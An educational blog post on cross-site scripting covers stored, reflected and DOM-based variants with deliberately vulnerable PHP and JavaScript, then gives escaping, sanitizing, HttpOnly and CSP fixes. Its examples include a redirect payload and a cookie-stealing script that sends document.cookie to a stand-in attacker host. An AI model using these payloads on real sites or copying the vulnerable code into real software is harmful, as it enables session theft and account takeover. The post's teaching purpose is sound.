What is cross-site scripting? How to prevent it?

What is cross-site scripting? How to prevent it?

Cross-site scripting (XSS) attacks may cause redirects to malicious websites. These attacks are one of the most common attacks on website (it is in the OWASP Top Ten). This attack relies on injecting JavaScript code into websites through user input.

WARNING: We’re not responsible for damage caused by cross-site scripting! Malicious hacking is a computer crime and you may face legal consequences! This post is meant to gain awareness about cross-site scripting and give a way to prevent those vulnerabilities.

The impact of cross-site scripting

Cross-site scripting attacks may cause:

  • Redirects to malicious websites.
  • Stealing of data, such as cookies and user form input.
  • Unauthorized modification of data or website content.

Types of cross-site scripting

Cross-site scripting attacks can be divided to:

  • Reflected XSS - the injected script is reflected from the user input.
  • Stored XSS - the injected script is stored in the database.
  • DOM XSS - it involves vulnerable client-side script.

Example: stored XSS

This is an example of a blog post with simple comment system written in PHP, that’s vulnerable to XSS:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
<?php
// Don't throw errors by default
$mysqli_driver = new mysqli_driver();
$mysqli_driver->report_mode = MYSQLI_REPORT_OFF;

// Message
$message = "";

// Connect to MySQL
$mysqli = new mysqli("localhost", "username", "password", "database");

// Check connection
if($mysqli->connect_errno){
// WARNING: Vulnerable to reflected XSS (parameters hard-coded in PHP script)
die("ERROR: Could not connect. " . $mysqli->connect_error);
}

// Process form submission
if($_SERVER["REQUEST_METHOD"] == "POST"){
// Escape user inputs for security
$comment = $mysqli->real_escape_string($_POST['comment']);

// Insert comment into database
$sql = "INSERT INTO comments (comment) VALUES ('$comment')";
if($mysqli->query($sql) === true){
$message = "Comment added successfully.";
} else {
$message = "ERROR: Could not execute $sql. " . $mysqli->error;
}
}

// Retrieve comments from database
$sql = "SELECT * FROM comments";
$result = $mysqli->query($sql);
?>

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Some blog article</title>
</head>
<body>
<h1>Some blog article</h1>
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla fringilla a massa vel molestie. Phasellus a lorem nec arcu ultricies vehicula. Duis varius nec libero id pretium. Ut in ante tincidunt, mattis sem vitae, gravida tortor. Vestibulum consequat mi et dapibus hendrerit. Nunc in interdum dolor, at molestie sapien. Ut eget lobortis enim. Proin commodo bibendum dolor quis finibus. Mauris placerat dignissim sodales. Morbi leo lectus, dapibus et accumsan sit amet, ultricies ac nulla.</p>
<p>Mauris vel erat vel arcu pulvinar lacinia eu sit amet massa. Donec porttitor risus eget ex cursus placerat. Maecenas velit lectus, laoreet sed justo nec, tristique eleifend nulla. Donec hendrerit eros in blandit laoreet. In mattis elit quis accumsan ullamcorper. Morbi imperdiet molestie pulvinar. Nam lobortis, tortor ac pretium ullamcorper, leo eros laoreet risus, quis convallis mauris enim in eros. Integer lacinia commodo augue, eu malesuada nisl euismod at. Aliquam accumsan non ante vitae congue. Nam condimentum nisi quis blandit molestie. Vivamus dapibus aliquet nunc at ullamcorper. Nullam congue aliquam metus, dignissim hendrerit risus luctus eget. Fusce tempus purus purus, at varius felis finibus eu.</p>
<p>Vestibulum varius ut purus vel elementum. Donec imperdiet elit vitae enim ultrices sagittis. Aliquam erat volutpat. Donec eu justo in elit fringilla fermentum. Aenean venenatis consequat urna, posuere consectetur quam sagittis at. Integer at elit nec neque iaculis dignissim. Suspendisse non pharetra urna. Praesent tempus augue accumsan massa bibendum, id dictum nunc bibendum. Nam suscipit arcu ipsum, sed dignissim felis condimentum quis.</p>
<p>Nulla facilisi. Sed commodo augue magna, in faucibus erat mattis molestie. Sed varius tincidunt lectus, et porttitor est luctus sed. Proin ac mauris nibh. Nullam vel sollicitudin nibh, ac fermentum lectus. Suspendisse pharetra orci eu maximus interdum. Vestibulum malesuada, nibh quis rutrum luctus, nibh ligula dignissim metus, ac blandit odio quam sed metus. Suspendisse sit amet libero non elit pretium aliquet non vel arcu. Mauris lobortis porta urna, nec bibendum erat semper vitae. Curabitur vel ipsum sit amet ex suscipit euismod. Fusce sodales tortor ac vulputate euismod.</p>
<p>Etiam eu egestas dolor. Vestibulum placerat semper odio, interdum blandit erat venenatis eu. Nulla lorem justo, eleifend sit amet tortor et, varius imperdiet sem. Fusce sit amet nisl a enim pellentesque mattis. Fusce non aliquet justo. Etiam eget arcu feugiat, tincidunt enim vitae, blandit lorem. Proin non nibh sem. Aliquam ut commodo mauris. Maecenas congue orci vitae dolor vestibulum gravida. Sed libero est, hendrerit eu venenatis ut, eleifend nec enim. Vivamus id bibendum orci, ut commodo mi.</p>
<h2>Post a comment:</h2>
<form method="post" action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]); ?>">
<textarea name="comment"></textarea><br>
<input type="submit" value="Submit">
</form>
<?php
if ($message){
// WARNING: Vulnerable to reflected XSS!
echo "<b>" . $message . "</b>";
}
?>
<h2>Comments:</h2>
<?php
if($result->num_rows > 0){
while($row = $result->fetch_assoc()){
// WARNING: Vulnerable to stored XSS!
echo "<p>" . $row['comment'] . "</p>";
}
} else{
echo "No comments yet.";
}
?>

</body>
</html>

<?php
// Close connection
$mysqli->close();
?>

If you want to try it, there is a database structure in SQL, along with example comment (the database name is database, DBMS is MySQL/MariaDB):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
-- phpMyAdmin SQL Dump
-- version 5.2.1
-- https://www.phpmyadmin.net/
--
-- Host: localhost
-- Generation Time: May 07, 2024 at 07:31 PM
-- Server version: 10.3.39-MariaDB-0ubuntu0.20.04.2
-- PHP Version: 7.4.3-4ubuntu2.22

SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
START TRANSACTION;
SET time_zone = "+00:00";


/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8mb4 */;

--
-- Database: `database`
--

-- --------------------------------------------------------

--
-- Table structure for table `comments`
--

CREATE TABLE `comments` (
`id` int(11) NOT NULL,
`comment` varchar(5000) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;

--
-- Dumping data for table `comments`
--

INSERT INTO `comments` (`id`, `comment`) VALUES
(1, 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Cras imperdiet dui dignissim orci consequat, nec accumsan sapien euismod. Quisque semper feugiat maximus. Nam efficitur imperdiet risus, in lacinia dolor efficitur in. In mollis urna at nisi rhoncus mattis. Integer eget vestibulum diam, vitae ornare leo. Nullam laoreet leo eleifend rhoncus dictum. Pellentesque ultrices dapibus vulputate. Praesent ligula enim, porttitor ac nibh sed, sagittis maximus nisl. Interdum et malesuada fames ac ante ipsum primis in faucibus. Nulla dolor sapien, convallis nec venenatis ut, imperdiet eget nibh. Nulla facilisi. Praesent libero neque, pellentesque eu lorem sit amet, pulvinar molestie metus. Vestibulum ipsum ipsum, interdum eu scelerisque at, consectetur a justo. Nullam gravida dolor vel nibh aliquam luctus. ');

--
-- Indexes for dumped tables
--

--
-- Indexes for table `comments`
--
ALTER TABLE `comments`
ADD PRIMARY KEY (`id`);

--
-- AUTO_INCREMENT for dumped tables
--

--
-- AUTO_INCREMENT for table `comments`
--
ALTER TABLE `comments`
MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=2;
COMMIT;

/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;

If you create a comment (for example “Insert some comment…”) for the post, then the page will contain this:

1
<p>Insert some comment...</p>

The web browser will then display the comment as “Insert some comment…”

But what if the comment was <script>alert(1);</script>? Then the page will contain this:

1
<p><script>alert(1);</script></p>

If Content Security Policy allows inline scripts (as it is by default), then browser will execute the script, and a dialog with “1” will be displayed.

The injected code is stored in the database, so other visitors of this blog post will see a dialog with “1”.

Does the result above look a bit dangerous? What if the input was <script>window.location = "https://dangeroussite.example";</script>? Then the page will contain this:

1
<p><script>window.location = "http://dangeroussite.example";</script></p>

Browser will execute the script, and the user will be redirected to the “dangeroussite.example” website. The user will be redirected to a dangerous website!

If the website uses cookies, then it is possible to steal them by submitting <script>fetch("https://h4xx0r.example/steal.php?cookie"+encodeURIComponent(document.cookie))</script> input. The page will then contain this:

1
<p><script>fetch("https://h4xx0r.example/steal.php?cookie"+encodeURIComponent(document.cookie))</script></p>

Browser will execute the script, and user’s cookies are sent to “h4xx0r.example” site. User’s cookies are stolen, and bad actors can possible have access to user’s account!

Example: reflected XSS

Now let’s imagine the developer made a mistake, and instead of:

1
$sql = "INSERT INTO comments (comment) VALUES ('$comment')";

there is:

1
$sql = "INSERT INTO comments (comment) VALUS ('$comment')";

Now, when the user tries to comment on this blog post (for example “Test”), then the user will face this error message:

1
ERROR: Could not execute INSERT INTO comments (comment) VALUS ('Test'). You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'VALUS ('Test')' at line 1

HTML code will then look like this:

1
<b>ERROR: Could not execute INSERT INTO comments (comment) VALUS ('Test'). You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'VALUS ('Test')' at line 1</b>

The SQL query is visible, so what about manipulating it? There is mysqli_real_escape_string function, which escapes quotes, which prevents SQL injection attacks. This also causes XSS attack to be harder to perform, because of escaped quotes.

Anyway, what if the comment was <script>alert(1)</script>? The HTML code will then look like this:

1
<b>ERROR: Could not execute INSERT INTO comments (comment) VALUS ('<script>alert(1)</script>'). You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'VALUS ('<script>alert(1)</script>')' at line 1</b>

If Content Security Policy allows inline scripts (as it is by default), then browser will execute the script, and a dialog with “1” will be displayed.

The input is reflected in the SQL query in the error message.

Example: DOM XSS

This is an example of simple web application, that’s vulnerable to DOM XSS:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>DOM XSS Vulnerable Web App</title>
</head>
<body>
<h1>Welcome to our website!</h1>
<div id="usernameDisplay"></div>

<script>
// Get username from URL query parameters
var urlParams = new URLSearchParams(window.location.search);
var username = urlParams.get('username');

// WARNING: vulnerable to DOM XSS!
// Display the username on the page
document.getElementById('usernameDisplay').innerHTML = 'Hello, ' + username + '!';
</script>
</body>
</html>

Let’s assume the URL of the HTML file is http://vulnerable.example/welcome.html

If the user accesses http://vulnerable.example/welcome.html?username=JohnSmith, then the page after loading will contain this:

1
<div id="usernameDisplay">Hello, JohnSmith!</div>

The browser will then display it as “Hello, JohnSmith!”

But what if the URL was http://vulnerable.example/welcome.html?username=%3Cimg%20src=%22https://a.invalid%22%20onerror=%22alert(1)%22%3E? The page after loading will contain this:

1
<div id="usernameDisplay">Hello, <img src="https://a.invalid" onerror="alert(1)">!</div>

The browser tries to load an image from https://a.invalid. Since https://a.invalid doesn’t exist, the browser will execute the script on onerror handler, and a dialog with “1” will be displayed.

Cross-site scripting vulnerability prevention

You can prevent cross-site scripting vulnerabilities by escaping HTML tags. In PHP, you can use htmlentities() or htmlspecialchars() function. There is the example code without the XSS vulnerability (although it is still vulnerable to CSRF):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
<?php
// Don't throw errors by default
$mysqli_driver = new mysqli_driver();
$mysqli_driver->report_mode = MYSQLI_REPORT_OFF;

// Message
$message = "";

// Connect to MySQL
$mysqli = new mysqli("localhost", "username", "password", "database");

// Check connection
if($mysqli->connect_errno){
die("ERROR: Could not connect. " . htmlspecialchars($mysqli->connect_error);
}

// Process form submission
if($_SERVER["REQUEST_METHOD"] == "POST"){
// Escape user inputs for security
$comment = $mysqli->real_escape_string($_POST['comment']);

// Insert comment into database
$sql = "INSERT INTO comments (comment) VALUES ('$comment')";
if($mysqli->query($sql) === true){
$message = "Comment added successfully.";
} else {
$message = "ERROR: Could not execute $sql. " . $mysqli->error;
}
}

// Retrieve comments from database
$sql = "SELECT * FROM comments";
$result = $mysqli->query($sql);
?>

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Some blog article</title>
</head>
<body>
<h1>Some blog article</h1>
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla fringilla a massa vel molestie. Phasellus a lorem nec arcu ultricies vehicula. Duis varius nec libero id pretium. Ut in ante tincidunt, mattis sem vitae, gravida tortor. Vestibulum consequat mi et dapibus hendrerit. Nunc in interdum dolor, at molestie sapien. Ut eget lobortis enim. Proin commodo bibendum dolor quis finibus. Mauris placerat dignissim sodales. Morbi leo lectus, dapibus et accumsan sit amet, ultricies ac nulla.</p>
<p>Mauris vel erat vel arcu pulvinar lacinia eu sit amet massa. Donec porttitor risus eget ex cursus placerat. Maecenas velit lectus, laoreet sed justo nec, tristique eleifend nulla. Donec hendrerit eros in blandit laoreet. In mattis elit quis accumsan ullamcorper. Morbi imperdiet molestie pulvinar. Nam lobortis, tortor ac pretium ullamcorper, leo eros laoreet risus, quis convallis mauris enim in eros. Integer lacinia commodo augue, eu malesuada nisl euismod at. Aliquam accumsan non ante vitae congue. Nam condimentum nisi quis blandit molestie. Vivamus dapibus aliquet nunc at ullamcorper. Nullam congue aliquam metus, dignissim hendrerit risus luctus eget. Fusce tempus purus purus, at varius felis finibus eu.</p>
<p>Vestibulum varius ut purus vel elementum. Donec imperdiet elit vitae enim ultrices sagittis. Aliquam erat volutpat. Donec eu justo in elit fringilla fermentum. Aenean venenatis consequat urna, posuere consectetur quam sagittis at. Integer at elit nec neque iaculis dignissim. Suspendisse non pharetra urna. Praesent tempus augue accumsan massa bibendum, id dictum nunc bibendum. Nam suscipit arcu ipsum, sed dignissim felis condimentum quis.</p>
<p>Nulla facilisi. Sed commodo augue magna, in faucibus erat mattis molestie. Sed varius tincidunt lectus, et porttitor est luctus sed. Proin ac mauris nibh. Nullam vel sollicitudin nibh, ac fermentum lectus. Suspendisse pharetra orci eu maximus interdum. Vestibulum malesuada, nibh quis rutrum luctus, nibh ligula dignissim metus, ac blandit odio quam sed metus. Suspendisse sit amet libero non elit pretium aliquet non vel arcu. Mauris lobortis porta urna, nec bibendum erat semper vitae. Curabitur vel ipsum sit amet ex suscipit euismod. Fusce sodales tortor ac vulputate euismod.</p>
<p>Etiam eu egestas dolor. Vestibulum placerat semper odio, interdum blandit erat venenatis eu. Nulla lorem justo, eleifend sit amet tortor et, varius imperdiet sem. Fusce sit amet nisl a enim pellentesque mattis. Fusce non aliquet justo. Etiam eget arcu feugiat, tincidunt enim vitae, blandit lorem. Proin non nibh sem. Aliquam ut commodo mauris. Maecenas congue orci vitae dolor vestibulum gravida. Sed libero est, hendrerit eu venenatis ut, eleifend nec enim. Vivamus id bibendum orci, ut commodo mi.</p>
<h2>Post a comment:</h2>
<form method="post" action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]); ?>">
<textarea name="comment"></textarea><br>
<input type="submit" value="Submit">
</form>
<?php
if ($message){
echo "<b>" . htmlspecialchars($message) . "</b>";
}
?>
<h2>Comments:</h2>
<?php
if($result->num_rows > 0){
while($row = $result->fetch_assoc()){
echo "<p>" . htmlspecialchars($row['comment']) . "</p>";
}
} else{
echo "No comments yet.";
}
?>

</body>
</html>

<?php
// Close connection
$mysqli->close();
?>

In JavaScript you can either replace “innerHTML” with “innerText”, or use this function:

1
2
3
function antiXSS(string) {
return string.replace(/&/g,"&amp;").replace(/</g,"&lt;").replace(/>/g,"&gt;").replace(/"/g,"&quot;").replace(/'/g,"&apos;");
}

This is example code without the DOM XSS vulnerability:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>DOM XSS Vulnerable Web App</title>
</head>
<body>
<h1>Welcome to our website!</h1>
<div id="usernameDisplay"></div>

<script>
// Get username from URL query parameters
var urlParams = new URLSearchParams(window.location.search);
var username = urlParams.get('username');

// Display the username on the page
document.getElementById('usernameDisplay').innerText = 'Hello, ' + username + '!';
</script>
</body>
</html>

You can also sanitize the HTML input, if you wish to display HTML from the user input. For JavaScript, you can use DOMPurify library or sanitize-html package. For PHP, you can use HTML Purifier library.

You can also set HttpOnly flag in cookies to minimize the impact of XSS attacks. The HttpOnly flag declares protection against accessing with JavaScript. For example, you can do this in PHP:

1
setcookie("sessionid", $sessionid, ['httponly' => true]);

You can also set Content Security Policy to not include unsafe-inline source in the script-src directive to prevent browsers from executing in-line JavaScript. You can also configure it to not make requests to unknown websites (connect-src or default-src directive) NOTE: This is not a substitute for escaping or sanitizing the input.

With these mitigations, bad actors will have hard time stealing user data using JavaScript or making users go to the malicious website.